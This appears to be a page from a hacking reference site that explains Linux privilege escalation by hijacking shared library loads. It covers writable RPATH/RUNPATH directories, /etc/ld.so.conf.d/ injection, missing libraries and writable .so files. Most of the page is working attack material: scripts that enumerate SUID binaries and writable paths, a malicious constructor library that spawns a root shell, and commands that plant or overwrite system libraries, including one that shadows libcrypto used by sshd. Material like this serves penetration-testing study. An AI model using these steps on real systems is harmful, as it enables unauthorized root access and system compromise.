# Shared Library Hijacking for Privilege Escalation

> Exploit misconfigured shared library paths (LD_PRELOAD, rpath, ldconfig) on Linux to inject malicious .so files and escalate privileges via trusted process execution.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/shared-library-hijacking
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-07-14

When a privileged binary loads shared libraries, it searches several locations in a defined order. If you can write to any directory in that search path before the legitimate library is found, you can intercept the load and execute arbitrary code as the binary's owner. This is distinct from LD_PRELOAD: it works on SUID binaries and system services where LD_PRELOAD is ignored.

## Library Search Order

The dynamic linker searches in this order:

1. `RPATH` embedded in the binary (hardcoded at compile time)
2. `LD_LIBRARY_PATH` environment variable (ignored for SUID/SGID binaries)
3. `RUNPATH` embedded in the binary
4. Paths in `/etc/ld.so.conf` and `/etc/ld.so.conf.d/*.conf`
5. Default paths: `/lib`, `/usr/lib`, `/lib64`, `/usr/lib64`

For privilege escalation the most valuable targets are RPATH/RUNPATH (work on SUID binaries) and `/etc/ld.so.conf.d/` injection (affects system-wide library loading).

## Shared Library Hijacking Techniques on Linux

Approaches for hijacking shared library loads on Linux:

- RPATH/RUNPATH writable directory: plant a fake library that loads before the real one
- `/etc/ld.so.conf.d/` injection: prepend a controlled directory to the system-wide search path
- Missing (phantom) library: provide a library the binary expects but cannot find
- Writable library file: overwrite an existing `.so` with misconfigured permissions

Find SUID and root-owned binaries with writable RPATH directories:

```bash
# Find all SUID binaries
find / -perm -u=s -type f 2>/dev/null > /tmp/suid_list.txt

# Check RPATH on each
while read binary; do
    rpath=$(readelf -d "$binary" 2>/dev/null | grep -i "rpath\|runpath" | awk '{print $NF}' | tr -d '[]')
    if [ -n "$rpath" ]; then
        echo "$binary -> RPATH: $rpath"
        ls -ld $rpath 2>/dev/null | grep -v "^d..x..x..x\|^d.........\|cannot"
    fi
done < /tmp/suid_list.txt
```

## Technique 1: RPATH / RUNPATH Writable Directory

If an SUID binary has an RPATH pointing to a directory you can write to, planting a malicious library there takes precedence over all other search paths.

**Step 1: Confirm RPATH and directory writability:**

```bash
readelf -d /path/to/suid-binary | grep -iE "rpath|runpath"
# e.g. (RPATH) Library rpath: [/opt/app/lib]

ls -la /opt/app/lib
```

**Step 2: Find which library to fake:**

```bash
ldd /path/to/suid-binary
# e.g. libapp.so.1 => /usr/lib/libapp.so.1
```

**Step 3: Write the malicious library:**

**/tmp/hijack.c**

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
```

```bash
gcc -shared -fPIC -nostartfiles -o /opt/app/lib/libapp.so.1 /tmp/hijack.c
```

**Step 4: Execute the SUID binary:**

```bash
/path/to/suid-binary
```

The malicious `libapp.so.1` loads from the RPATH directory before the legitimate one in `/usr/lib`, the constructor fires with root privileges, and you get a shell.

## Technique 2: /etc/ld.so.conf.d/ Injection

If you can write to `/etc/ld.so.conf.d/` or create a new config file there, you can prepend any directory to the system-wide library search path. After `ldconfig` runs (often triggered by package installs or scheduled), your directory takes precedence for all dynamically linked programs.

**Step 1: Confirm write access:**

```bash
ls -la /etc/ld.so.conf.d/
# Check for world-writable or group-writable
find /etc/ld.so.conf.d/ -writable 2>/dev/null
```

**Step 2: Add your directory to the search path:**

```bash
echo "/tmp" > /etc/ld.so.conf.d/privesc.conf
ldconfig 2>/dev/null
```

If `ldconfig` requires root, wait for it to be triggered automatically or look for another way. Check if a cron job or package manager triggers it:

```bash
grep -r "ldconfig" /etc/cron* /var/spool/cron* 2>/dev/null
```

**Step 3: Identify the target library:**

Find a library loaded by a root-owned process or SUID binary that your fake version will shadow:

```bash
# What does a root service load?
ldd /usr/sbin/sshd 2>/dev/null | head -10
# e.g. libcrypto.so.1.1 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
```

**Step 4: Plant the malicious library in /tmp:**

**/tmp/hijack.c**

```
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
```

```bash
gcc -shared -fPIC -nostartfiles -o /tmp/libcrypto.so.1.1 /tmp/hijack.c
```

Wait for the next time the target service restarts or is triggered.

## Technique 3: Missing Library (Phantom Library)

If `ldd` shows `not found` for a library that a SUID binary needs, and any directory in the search path is writable, you can provide the missing library yourself.

```bash
# Find SUID binaries with missing libraries
find / -perm -u=s -type f 2>/dev/null | while read f; do
    missing=$(ldd "$f" 2>/dev/null | grep "not found")
    [ -n "$missing" ] && echo "$f: $missing"
done
```

For a missing library like `libcustom.so.1`:

```bash
gcc -shared -fPIC -nostartfiles -o /tmp/libcustom.so.1 /tmp/hijack.c

# Or place in any writable directory in the search path
cp /tmp/libcustom.so.1 /usr/local/lib/libcustom.so.1
ldconfig 2>/dev/null
```

Run the SUID binary: it finds and loads your library.

## Technique 4: Writable Existing Library File

If a library file itself is writable (misconfigured permissions), overwrite it directly:

```bash
# Find writable library files
find /lib /usr/lib /lib64 /usr/lib64 -type f -name "*.so*" -writable 2>/dev/null
```

If found, replace it with your malicious version:

```bash
# Backup original
cp /usr/lib/libvulnerable.so.1 /tmp/libvulnerable.so.1.bak

# Replace with malicious version
gcc -shared -fPIC -nostartfiles -o /usr/lib/libvulnerable.so.1 /tmp/hijack.c
```

Any binary linking against that library will execute your constructor on next invocation.

## Verify Library is Loading

Trace library loading to confirm your library is being found:

```bash
strace /path/to/binary 2>&1 | grep "open.*\.so"
LD_DEBUG=libs /path/to/binary 2>&1 | grep "libname"
```

Note: `LD_DEBUG` is ignored for SUID binaries. Use strace instead for those.

## References

- [ld.so(8) Manual](https://man7.org/linux/man-pages/man8/ld.so.8.html) - Library search order, RPATH, RUNPATH, and ld.so.conf documentation.
- [ldconfig(8) Manual](https://man7.org/linux/man-pages/man8/ldconfig.8.html) - Dynamic linker cache configuration and library path management.
